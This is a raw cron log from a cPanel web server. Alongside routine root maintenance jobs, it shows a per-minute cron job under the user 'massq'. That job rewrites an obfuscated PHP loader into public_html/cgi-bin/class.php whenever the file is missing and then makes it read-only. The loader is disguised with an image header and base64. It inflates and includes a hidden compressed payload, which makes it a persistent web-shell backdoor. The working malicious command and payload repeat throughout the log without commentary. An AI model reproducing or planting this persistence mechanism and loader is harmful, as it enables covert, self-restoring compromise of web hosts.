Sep  4 10:03:01 server CROND[3368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:03:01 server CROND[3369]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:03:01 server CROND[3370]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:04:01 server CROND[3736]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:04:01 server CROND[3737]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:04:01 server CROND[3738]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:05:01 server CROND[4113]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 10:05:01 server CROND[4112]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:05:01 server CROND[4115]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 10:05:01 server CROND[4117]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:05:01 server CROND[4123]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 10:05:01 server CROND[4124]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 10:05:01 server CROND[4125]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 10:05:01 server CROND[4126]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:06:01 server CROND[5057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:06:01 server CROND[5058]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:06:01 server CROND[5060]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:07:01 server CROND[5431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:07:01 server CROND[5432]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:07:01 server CROND[5433]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:08:01 server CROND[5803]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:08:01 server CROND[5804]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:08:01 server CROND[5805]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:09:02 server CROND[6175]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:09:02 server CROND[6176]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:09:02 server CROND[6177]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 10:09:02 server CROND[6178]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:10:01 server CROND[6558]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 10:10:01 server CROND[6562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:10:01 server CROND[6567]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 10:10:01 server CROND[6570]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 10:10:01 server CROND[6571]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:10:01 server CROND[6568]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 10:10:01 server CROND[6566]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 10:10:01 server CROND[6572]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:11:01 server CROND[7555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:11:01 server CROND[7558]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:11:01 server CROND[7557]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:12:01 server CROND[7928]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:12:01 server CROND[7932]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 10:12:01 server CROND[7930]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:12:01 server CROND[7940]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:13:01 server CROND[8412]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:13:01 server CROND[8413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:13:01 server CROND[8414]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:14:01 server CROND[8780]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 10:14:01 server CROND[8782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 10:14:01 server CROND[8781]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 10:15:01 server CROND[9169]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  4 10:15:01 server CROND[9168]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 10:15:01 server CROND[9176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
